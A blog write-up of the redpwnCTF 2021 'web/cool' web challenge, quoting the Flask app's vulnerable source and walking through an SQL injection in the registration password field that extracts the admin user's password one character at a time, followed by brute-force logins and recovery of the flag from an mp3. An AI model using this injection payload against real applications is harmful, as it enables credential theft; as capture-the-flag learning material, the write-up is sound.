RedpwnCTF 2021 - web/cool
I took part in the redpwnCTF with some friends from Hacksouth. There were three web challenges that I worked on; two of which I collaborated with a team member.
web/cool - Solved
Cool is a simple flask web app where "Aaron has a message for the cool kids"
Where is the flag? Looking at the source code(L125:142), it quickly became clear that to get the flag the user session needs to be that of ginkoid
which will return a mp3 containing the flag.
@app.route('/message')
def message():
if 'username' not in session:
return redirect('/')
if session['username'] == 'ginkoid':
return send_file(
'flag.mp3',
attachment_filename='flag-at-end-of-file.mp3'
)
return '''
<link rel="stylesheet" href="/static/style.css" />
<div class="container">
<p>You are logged in!</p>
<p>Unfortunately, Aaron's message is for cool people only.</p>
<p>(like ginkoid)</p>
<a href="/logout">Log out</a>
</div>
'''
A few things were observed initially:
- User Input - Username and Password
a.username
only allowed alphanumeric characters.
b.password
cannot be more than 50 characters. - SQL Statements - Concatenation of user input for SQL statements
SQLiteexecute()
will only execute a single SQL statement. - Flask Session - Framework Session implementation
Permission check based on the framework's session management. - Database Seeding - The target user is inserted in the DB on init()
Parameters ofginkoid
and their password are known.
We determined that, possibly also the only, injectable area would be the password
parameter when a user registers.
def create_user(username, password):
if any(c not in allowed_characters for c in username):
return (False, 'Alphanumeric usernames only, please.')
if len(username) < 1:
return (False, 'Username is too short.')
if len(password) > 50:
return (False, 'Password is too long.')
other_users = execute(
f'SELECT * FROM users WHERE username=\'{username}\';'
)
if len(other_users) > 0:
return (False, 'Username taken.')
execute(
'INSERT INTO users (username, password)'
f'VALUES (\'{username}\', \'{password}\');'
# Here -------------------------^
)
return (True, '')
So, what can be done with the ability to inject on the password field of the following query?
INSERT INTO users (username, password)
VALUES (\'{username}\', \'{password}\');
After trying and discussing several approaches, Spymky made a clever suggestion; we know that the password for ginkoid
would be 32 characters and only from the allowed_characters
set.
allowed_characters = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
)
def generate_token():
return ''.join(
rand.choice(list(allowed_characters)) for _ in range(32)
)
We could therefore create 32 users with each user's password the value of a single position of ginkoid
's password and then attempt to login with each alphanumeric character until we get a success.
ginkoid's Password: 4WcfBxCFRiyIJXBOXV2xRjKrg746veuc
|||
user1's password: 4-⌏||
user2's password: W--⌏|
user3's password: c---⌏
etc.
This is achievable using the SQLite substr
function prepended with ||
representing string concatenation in order to make it a valid SQL statement.
'||(SELECT substr(password,1,1)FROM users));--
# Full SQL statement which will ultimately be executed by the SQLite interpreter.
INSERT INTO users (username, password)
VALUES ('user', ''|| (SELECT substr(password,1,1)FROM users));--');
The screenshot below shows this SQL statement in the password field when creating user3
, which uses the third character of the ginkoid
user's password as user3's password.
When looking at the Database, the users are created with the password of the relevant position of the ginkoid
user's password.
At this point all that is needed is to use Burp's Sniper Intruder with an alphanumeric payload for a successful login. This would identify that position's value.
The screenshot below shows a successful login using 9
as the password for user1
which means the first character of ginkoid
's password is 9
. The entire process is repeated until the full 32 character password is known. In fact, this may even be better to automate using something like python, which I would like to do, as I believe this can probably be reusable for other challenges with minor changes.
This was tested on a local instance of the app to make sure that everything is working before using it on the CTF's instance to get ginkoid
's password.
This turned out to be: rLqGyKqlWnYzN7DxnWtKfTCsbjYLezUE
Once logged in using the above mentioned password the mp3 which contains the flag could be downloaded.
Once the mp3 was obtained, it was fairly straightforward; by using strings
the flag was presented.
~ » strings flag-at-end-of-file.mp3 | tail
UUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.100UUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.100UUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
flag{44r0n_s4ys_s08r137y_1s_c00l}
~ »
That was a win in the end :)
Read about the web/cool challenge here.
Thanks for reading
If you enjoyed the post, please consider to subscribe so that you receive future content in your inbox :)
Psssst, worried about sharing your email address and would rather want to hide it? Consider using a service I created to help with that: mailphantom.io
Also, if you have any questions, comments, or suggestions please feel free to Contact Me.